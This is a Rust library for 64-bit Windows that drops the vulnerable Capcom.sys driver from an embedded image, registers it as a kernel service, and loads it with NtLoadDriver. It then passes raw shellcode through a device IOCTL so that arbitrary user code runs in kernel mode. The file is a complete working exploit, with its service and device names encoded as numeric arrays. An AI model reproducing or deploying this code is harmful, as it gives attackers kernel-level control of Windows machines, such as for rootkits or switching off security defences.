#![cfg(all(windows, target_pointer_width = "64"))]
use std::{error, fmt, mem, ptr};
use std::cell::{Cell};
use std::ffi::{OsStr, OsString};
use std::os::windows::ffi::{OsStrExt, OsStringExt};
use winapi::um::winreg::{RegCreateKeyExW, RegSetValueExW, RegCloseKey, RegDeleteTreeW, HKEY_LOCAL_MACHINE};
use winapi::um::winnt::{HANDLE, FILE_ALL_ACCESS, FILE_SHARE_READ, FILE_ATTRIBUTE_NORMAL, PAGE_EXECUTE_READWRITE, MEM_COMMIT, MEM_RESERVE, MEM_RELEASE, KEY_ALL_ACCESS, REG_SZ, REG_DWORD, REG_CREATED_NEW_KEY, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL};
use winapi::um::errhandlingapi::{GetLastError};
use winapi::um::fileapi::{DeleteFileW, CreateFileW, ReadFile, WriteFile, FlushFileBuffers, CREATE_NEW, OPEN_EXISTING};
use winapi::um::handleapi::{CloseHandle, INVALID_HANDLE_VALUE};
use winapi::um::memoryapi::{VirtualAlloc, VirtualFree};
use winapi::um::ioapiset::{DeviceIoControl};
use winapi::um::processenv::{GetCurrentDirectoryW};
use winapi::shared::minwindef::{HKEY, BYTE, FALSE, LPVOID, LPCVOID, DWORD};
use winapi::shared::winerror::{ERROR_FILE_NOT_FOUND, ERROR_SUCCESS};
use winapi::shared::ntdef::{UNICODE_STRING, PUNICODE_STRING, PVOID};
use ntapi::ntioapi::{NtLoadDriver, NtUnloadDriver};
struct Defer<F: FnMut()>(F);
impl<F: FnMut()> Drop for Defer<F> {
fn drop(&mut self) {
(self.0)()
}
}
macro_rules! defer {
($($body:tt)*) => {
let __deferred = Defer(|| { $($body)* });
};
}
#[inline]
pub fn unicode_string(s: &[u16]) -> UNICODE_STRING {
UNICODE_STRING {
Length: mem::size_of_val(s) as u16,
MaximumLength: mem::size_of_val(s) as u16,
Buffer: s.as_ptr() as *mut u16,
}
}
#[derive(Copy, Clone, Debug, Eq, PartialEq)]
pub enum Error {
EnablePrivileges,
RecoverWrite(u32),
RecoverRead(u32),
RecoverDelete(u32),
DriverWrite(u32),
DriverDelete(u32),
DriverRegister(i32),
DriverUnregister(i32),
DriverLoad(i32),
DriverUnload(i32),
DeviceOpen(u32),
}
impl error::Error for Error {
fn description(&self) -> &str {
match self {
Error::EnablePrivileges => "cannot enable privileges",
Error::RecoverWrite(_) => "cannot write recovery information",
Error::RecoverRead(_) => "cannot read recovery information",
Error::RecoverDelete(_) => "cannot delete recovery information",
Error::DriverWrite(_) => "cannot write the driver to disk",
Error::DriverDelete(_) => "cannot delete the driver from disk",
Error::DriverRegister(_) => "cannot register driver service",
Error::DriverUnregister(_) => "cannot unregister driver service",
Error::DriverLoad(_) => "cannot load driver",
Error::DriverUnload(_) => "cannot unload driver",
Error::DeviceOpen(_) => "cannot open device",
}
}
}
impl fmt::Display for Error {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
match *self {
Error::EnablePrivileges => {
write!(f, "Failed to enable SeLoadDriverPrivilege. Are you running as Administrator?")
},
Error::RecoverWrite(err) => {
write!(f, "Failed to write recovery information, error code: {}. Ensure the current directory is writable.", err)
},
Error::RecoverRead(err) => {
write!(f, "Failed to read recovery information, error code: {}. Are you sure the RECOVER file exists in the current directory?", err)
},
Error::RecoverDelete(err) => {
write!(f, "Failed to delete recovery information, error code: {}. There is no problem, manually delete the RECOVER file.", err)
},
Error::DriverWrite(err) => {
write!(f, "Failed to write the driver to disk, error code: {}.", err)
},
Error::DriverDelete(err) => {
write!(f, "Failed to delete the driver from disk, error code: {}. ** User intervention is required, please see the documentation!! **", err)
},
Error::DriverRegister(err) => {
write!(f, "Failed to register the driver service, error code: {:#010X}. Are you running as Administrator?", err)
},
Error::DriverUnregister(err) => {
write!(f, "Failed to unregister the driver service, error code: {:#010X}. ** User intervention is required, please see the documentation!! **", err)
},
Error::DriverLoad(err) => {
write!(f, "Failed to load the driver, error code: {:#010X}.", err)
},
Error::DriverUnload(err) => {
write!(f, "Failed to unload the driver, error code: {:#010X}. ** User intervention is required, please see the documentation!! **", err)
},
Error::DeviceOpen(err) => {
write!(f, "Failed to open the device, error code: {}. The Capcom driver must be loaded.", err)
},
}
}
}
#[inline(never)]
pub fn setup<T, F: FnMut(&Driver, &Device) -> T>(mut f: F) -> Result<T, Error> {
if !enable_privileges() {
return Err(Error::EnablePrivileges);
}
let driver = Driver::new();
match driver.recovery() {
Err(err) => Err(Error::RecoverWrite(err)),
Ok(_) => {
let cleanup_result = Cell::new(Ok(()));
defer! {
if cleanup_result.get().is_ok() {
let result = driver.unrecovery().map_err(Error::RecoverDelete);
cleanup_result.set(result);
}
}
match driver.write() {
Err(err) => Err(Error::DriverWrite(err)),
Ok(_) => {
defer! {
if cleanup_result.get().is_ok() {
let result = driver.delete().map_err(Error::DriverDelete);
cleanup_result.set(result);
}
}
match driver.register() {
Err(err) => Err(Error::DriverRegister(err)),
Ok(_) => {
defer! {
if cleanup_result.get().is_ok() {
let result = driver.unregister().map_err(Error::DriverUnregister);
cleanup_result.set(result);
}
}
match driver.load() {
Err(err) => Err(Error::DriverLoad(err)),
Ok(_) => {
defer! {
let _ = enable_privileges();
let result = driver.unload().map(mem::drop).map_err(Error::DriverUnload);
cleanup_result.set(result);
}
Device::open()
.map(|device| f(&driver, &device))
.map_err(|err| Error::DeviceOpen(err))
},
}
},
}
},
}
},
}
}
pub fn recover() -> Result<bool, Error> {
let driver = match Driver::recover() {
Err(err) if err == ERROR_FILE_NOT_FOUND => return Ok(false),
Err(err) => return Err(Error::RecoverRead(err)),
Ok(driver) => driver,
};
if !enable_privileges() {
return Err(Error::EnablePrivileges);
}
let _ = driver.unload();
let _ = driver.unregister();
let delete = driver.delete();
if delete == Err(ERROR_FILE_NOT_FOUND) || delete == Ok(()) {
return driver.unrecovery().map(|_| true).map_err(Error::RecoverDelete);
}
let mut result = Ok(());
result = result.and(driver.register().map_err(Error::DriverRegister));
result = result.and(driver.unload().map(|_| ()).map_err(Error::DriverUnload));
result = result.and(driver.unregister().map_err(Error::DriverUnregister));
if let Ok(_) = driver.delete() {
result = driver.recovery().map_err(Error::RecoverDelete);
}
result.map(|_| true)
}
pub struct Driver {
service_path: Box<[u16]>,
native_path: Box<[u16]>,
}
impl Driver {
#[inline(never)]
pub fn image() -> &'static [u8; 0x2950] {
#[repr(align(16))]
struct Align16<T>(T);
static IMAGE: Align16<[u8; 0x2950]> = Align16(include!("capcom.rs"));
&IMAGE.0
}
#[inline]
pub fn service_path(&self) -> &[u16] {
let len = self.service_path.len();
unsafe { self.service_path.get_unchecked(0..len - 1) }
}
#[inline]
pub fn service_registry(&self) -> &[u16] {
let len = self.service_path.len();
unsafe { self.service_path.get_unchecked(18..len - 1) }
}
#[inline]
pub fn service_name(&self) -> &[u16] {
let len = self.service_path.len();
unsafe { self.service_path.get_unchecked(52..len - 1) }
}
#[inline]
pub fn native_path(&self) -> &[u16] {
let len = self.native_path.len();
unsafe { self.native_path.get_unchecked(0..len - 1) }
}
#[inline]
pub fn path(&self) -> &[u16] {
let len = self.native_path.len();
unsafe { self.native_path.get_unchecked(4..len - 1) }
}
#[inline]
pub fn file_name(&self) -> &[u16] {
let len = self.native_path.len();
let mut slash = 0;
for i in 0..len {
if self.native_path[i] == '\\' as u16 {
slash = i;
}
}
unsafe { self.native_path.get_unchecked(slash + 1..len - 1) }
}
pub fn new() -> Driver {
unsafe {
let cd_len = GetCurrentDirectoryW(0, ptr::null_mut());
let mut native_path = vec![0; 3 + cd_len as usize + SLASH_CAPCOM_SYS.len()].into_boxed_slice();
native_path[0] = b'\\' as u16;
native_path[1] = b'?' as u16;
native_path[2] = b'?' as u16;
native_path[3] = b'\\' as u16;
GetCurrentDirectoryW(cd_len, native_path.as_mut_ptr().offset(4));
native_path[3 + cd_len as usize..].copy_from_slice(&SLASH_CAPCOM_SYS);
let service_path = NT_SERVICES_PATH.to_vec().into_boxed_slice();
Driver { service_path, native_path }
}
}
pub fn from_parts(name: Option<&OsStr>, path: &OsStr) -> Driver {
let service_path =
if let Some(name) = name {
let mut service_path = NT_SERVICES_PATH[..52].to_vec();
service_path.extend(name.encode_wide());
service_path.push(0);
service_path.into_boxed_slice()
}
else {
NT_SERVICES_PATH.to_vec().into_boxed_slice()
};
let mut native_path = [92u16, 63, 63, 92].to_vec();
native_path.extend(path.encode_wide());
native_path.push(0);
let native_path = native_path.into_boxed_slice();
Driver { service_path, native_path }
}
fn from_parts_wide(name: Option<&[u16]>, path: &[u16]) -> Driver {
let service_path =
if let Some(name) = name {
let mut service_path = vec![0; 52 + name.len() + 1].into_boxed_slice();
service_path[..52].copy_from_slice(&NT_SERVICES_PATH[..52]);
service_path[52..52 + name.len()].copy_from_slice(name);
service_path
}
else {
NT_SERVICES_PATH.to_vec().into_boxed_slice()
};
let mut native_path = vec![0; 4 + path.len() + 1].into_boxed_slice();
native_path[0] = b'\\' as u16;
native_path[1] = b'?' as u16;
native_path[2] = b'?' as u16;
native_path[3] = b'\\' as u16;
native_path[4..4 + path.len()].copy_from_slice(path);
Driver { service_path, native_path }
}
pub fn recover() -> Result<Driver, u32> {
unsafe {
let handle = CreateFileW(RECOVER_FILE_NAME.as_ptr(), FILE_ALL_ACCESS, 0, ptr::null_mut(), OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, ptr::null_mut());
if handle != INVALID_HANDLE_VALUE {
defer! { CloseHandle(handle); }
let mut buffer: [u16; 512] = mem::uninitialized();
let mut bytes_read = mem::uninitialized();
if ReadFile(handle, buffer.as_mut_ptr() as LPVOID, mem::size_of_val(&buffer) as u32, &mut bytes_read, ptr::null_mut()) != FALSE {
let words_read = (bytes_read / 2) as usize;
let buffer = &buffer[..words_read];
let (name, path) = match buffer.iter().position(|&c| c == '\n' as u16) {
Some(split_at) => (Some(&buffer[..split_at]), &buffer[split_at + 1..]),
None => (None, buffer)
};
return Ok(Driver::from_parts_wide(name, path));
}
}
return Err(GetLastError());
}
}
pub fn write(&self) -> Result<(), u32> {
unsafe {
let handle = CreateFileW(self.path().as_ptr(), FILE_ALL_ACCESS, 0, ptr::null_mut(), CREATE_NEW, FILE_ATTRIBUTE_NORMAL, ptr::null_mut());
if handle != INVALID_HANDLE_VALUE {
defer! { CloseHandle(handle); }
let mut bytes_written = mem::uninitialized();
let image = Self::image();
if WriteFile(handle, image.as_ptr() as LPCVOID, image.len() as DWORD, &mut bytes_written, ptr::null_mut()) != FALSE {
return Ok(());
}
}
return Err(GetLastError());
}
}
pub fn delete(&self) -> Result<(), u32> {
unsafe {
if DeleteFileW(self.path().as_ptr()) == FALSE {
return Err(GetLastError());
}
Ok(())
}
}
pub fn recovery(&self) -> Result<(), u32> {
unsafe {
let handle = CreateFileW(RECOVER_FILE_NAME.as_ptr(), FILE_ALL_ACCESS, 0, ptr::null_mut(), CREATE_NEW, FILE_ATTRIBUTE_NORMAL, ptr::null_mut());
if handle != INVALID_HANDLE_VALUE {
defer! { CloseHandle(handle); }
let mut bytes_written = mem::uninitialized();
let success =
WriteFile(handle, self.path().as_ptr() as LPCVOID, mem::size_of_val(self.path()) as DWORD, &mut bytes_written, ptr::null_mut()) != FALSE &&
FlushFileBuffers(handle) != FALSE;
if success {
return Ok(());
}
}
return Err(GetLastError());
}
}
pub fn unrecovery(&self) -> Result<(), u32> {
unsafe {
if DeleteFileW(RECOVER_FILE_NAME.as_ptr()) == FALSE {
return Err(GetLastError());
}
Ok(())
}
}
#[inline(never)]
pub fn register(&self) -> Result<(), i32> {
unsafe {
let mut key = ptr::null_mut();
let mut disposition = 0;
let err = RegCreateKeyExW(HKEY_LOCAL_MACHINE, self.service_registry().as_ptr(), 0, ptr::null_mut(), 0, KEY_ALL_ACCESS, ptr::null_mut(), &mut key, &mut disposition);
if err != ERROR_SUCCESS as i32 {
return Err(err);
}
defer! { RegCloseKey(key); }
if disposition != REG_CREATED_NEW_KEY {
return Err(-(disposition as i32));
}
reg_set_sz(key, &ImagePath, self.native_path());
reg_set_dword(key, &Type, &SERVICE_KERNEL_DRIVER);
reg_set_dword(key, &Start, &SERVICE_DEMAND_START);
reg_set_dword(key, &ErrorControl, &SERVICE_ERROR_NORMAL);
Ok(())
}
}
pub fn unregister(&self) -> Result<(), i32> {
unsafe {
let err = RegDeleteTreeW(HKEY_LOCAL_MACHINE, self.service_registry().as_ptr());
if err != ERROR_SUCCESS as i32 {
return Err(err);
}
Ok(())
}
}
pub fn load(&self) -> Result<i32, i32> {
unsafe {
let result = NtLoadDriver(&mut unicode_string(self.service_path()));
if result < 0 { Err(result) } else { Ok(result) }
}
}
pub fn unload(&self) -> Result<i32, i32> {
unsafe {
let result = NtUnloadDriver(&mut unicode_string(self.service_path()));
if result < 0 { Err(result) } else { Ok(result) }
}
}
}
impl fmt::Debug for Driver {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
f.debug_struct("Driver")
.field("service_path", &OsString::from_wide(self.service_path()))
.field("native_path", &OsString::from_wide(self.native_path()))
.finish()
}
}
pub fn enable_privileges() -> bool {
unsafe { enable_privilege(&SeLoadDriverPrivilege) }
}
#[inline(never)]
unsafe fn enable_privilege(privilege_name: &[u16]) -> bool {
use winapi::um::winnt::{TOKEN_PRIVILEGES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES};
use winapi::um::winbase::{LookupPrivilegeValueW};
use winapi::um::processthreadsapi::{OpenProcessToken, GetCurrentProcess};
use winapi::um::securitybaseapi::{AdjustTokenPrivileges};
let mut privilege: TOKEN_PRIVILEGES = mem::zeroed();
let mut token = ptr::null_mut();
let mut result = false;
privilege.PrivilegeCount = 1;
privilege.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if LookupPrivilegeValueW(ptr::null_mut(), privilege_name.as_ptr(), &mut privilege.Privileges[0].Luid) != FALSE {
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &mut token) != FALSE {
result = AdjustTokenPrivileges(token, FALSE, &mut privilege, mem::size_of_val(&privilege) as u32, ptr::null_mut(), ptr::null_mut()) != FALSE;
CloseHandle(token);
}
}
result
}
static PAYLOAD: [u8; 64] = [
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x48, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x48, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0x4C, 0x8B, 0x04, 0x24,
0x49, 0x81, 0xE8, 0x77, 0x05, 0x00, 0x00,
0x41, 0x50,
0x53,
0x51,
0x48, 0x89, 0xE1,
0xFF, 0xD0,
0x48, 0x83, 0xC4, 0x18,
0xC3,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC
];
#[derive(Debug)]
pub struct Device {
device: HANDLE,
payload: *mut u8,
}
impl Device {
pub fn open() -> Result<Device, u32> {
unsafe {
let device = CreateFileW(CAPCOM_DEVICE.as_ptr(), FILE_ALL_ACCESS, FILE_SHARE_READ, ptr::null_mut(), OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, ptr::null_mut());
if device != INVALID_HANDLE_VALUE {
let payload = VirtualAlloc(ptr::null_mut(), 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) as *mut u8;
*(payload as *mut [u8; 64]) = PAYLOAD;
Ok(Device { device, payload })
}
else {
Err(GetLastError())
}
}
}
pub unsafe fn elevate<F: FnMut(&mut Context)>(&self, mut f: F) -> bool {
self.codegen(Self::elevate_thunk::<F> as usize, &mut f as *mut _ as usize);
self.ioctl()
}
unsafe extern "system" fn elevate_thunk<F: FnMut(&mut Context)>(ctx: *mut Context, user_data: *mut F) {
(*user_data)(&mut *ctx);
}
fn codegen(&self, user_fn: usize, user_data: usize) {
unsafe {
let payload = self.payload;
ptr::write_unaligned(payload.offset(0) as *mut *mut u8, payload.offset(8));
ptr::write_unaligned(payload.offset(10) as *mut usize, user_fn);
ptr::write_unaligned(payload.offset(20) as *mut usize, user_data);
}
}
unsafe fn ioctl(&self) -> bool {
let mut payload = self.payload.offset(8);
let mut result = 0;
let mut bytes_returned = mem::uninitialized();
const IOCTL_X64: DWORD = 0xAA013044; DeviceIoControl(self.device, IOCTL_X64, (&mut payload) as *mut _ as LPVOID, 8, &mut result as *mut _ as LPVOID, 4, &mut bytes_returned, ptr::null_mut()) != FALSE
}
}
impl Drop for Device {
fn drop(&mut self) {
unsafe {
VirtualFree(self.payload as LPVOID, 0, MEM_RELEASE);
CloseHandle(self.device);
}
}
}
#[derive(Copy, Clone)]
#[repr(C)]
pub struct Context {
pub get_system_routine_address: unsafe extern "system" fn(name: PUNICODE_STRING) -> PVOID,
pub irp: usize,
pub capcom_base: usize,
}
#[allow(non_upper_case_globals)]
mod lit {
pub static ImagePath: [u16; 10] = [73u16, 109, 97, 103, 101, 80, 97, 116, 104, 0];
pub static Type: [u16; 5] = [84u16, 121, 112, 101, 0];
pub static Start: [u16; 6] = [83u16, 116, 97, 114, 116, 0];
pub static ErrorControl: [u16; 13] = [69u16, 114, 114, 111, 114, 67, 111, 110, 116, 114, 111, 108, 0];
pub static CAPCOM_DEVICE: [u16; 15] = [92u16, 92, 46, 92, 72, 116, 115, 121, 115, 109, 55, 50, 70, 66, 0];
pub static SeLoadDriverPrivilege: [u16; 22] = [83u16, 101, 76, 111, 97, 100, 68, 114, 105, 118, 101, 114, 80, 114, 105, 118, 105, 108, 101, 103, 101, 0];
pub static NT_SERVICES_PATH: [u16; 63] = [92u16, 82, 101, 103, 105, 115, 116, 114, 121, 92, 77, 97, 99, 104, 105, 110, 101, 92, 83, 121, 115, 116, 101, 109, 92, 67, 117, 114, 114, 101, 110, 116, 67, 111, 110, 116, 114, 111, 108, 83, 101, 116, 92, 83, 101, 114, 118, 105, 99, 101, 115, 92, 72, 116, 115, 121, 115, 109, 55, 50, 70, 66, 0];
pub static SLASH_CAPCOM_SYS: [u16; 12] = [92u16, 67, 97, 112, 99, 111, 109, 46, 115, 121, 115, 0];
pub static RECOVER_FILE_NAME: [u16; 8] = [82u16, 69, 67, 79, 86, 69, 82, 0];
}
use self::lit::*;
#[inline]
unsafe fn reg_set_sz(key: HKEY, sub_key: &[u16], sz: &[u16]) {
let lp_data = sz.as_ptr() as *const BYTE;
let cb_data = mem::size_of_val(sz) as u32;
let _err = RegSetValueExW(key, sub_key.as_ptr(), 0, REG_SZ, lp_data, cb_data);
}
#[inline]
unsafe fn reg_set_dword(key: HKEY, sub_key: &[u16], dword: &u32) {
let lp_data = dword as *const _ as *const BYTE;
let _err = RegSetValueExW(key, sub_key.as_ptr(), 0, REG_DWORD, lp_data, 4);
}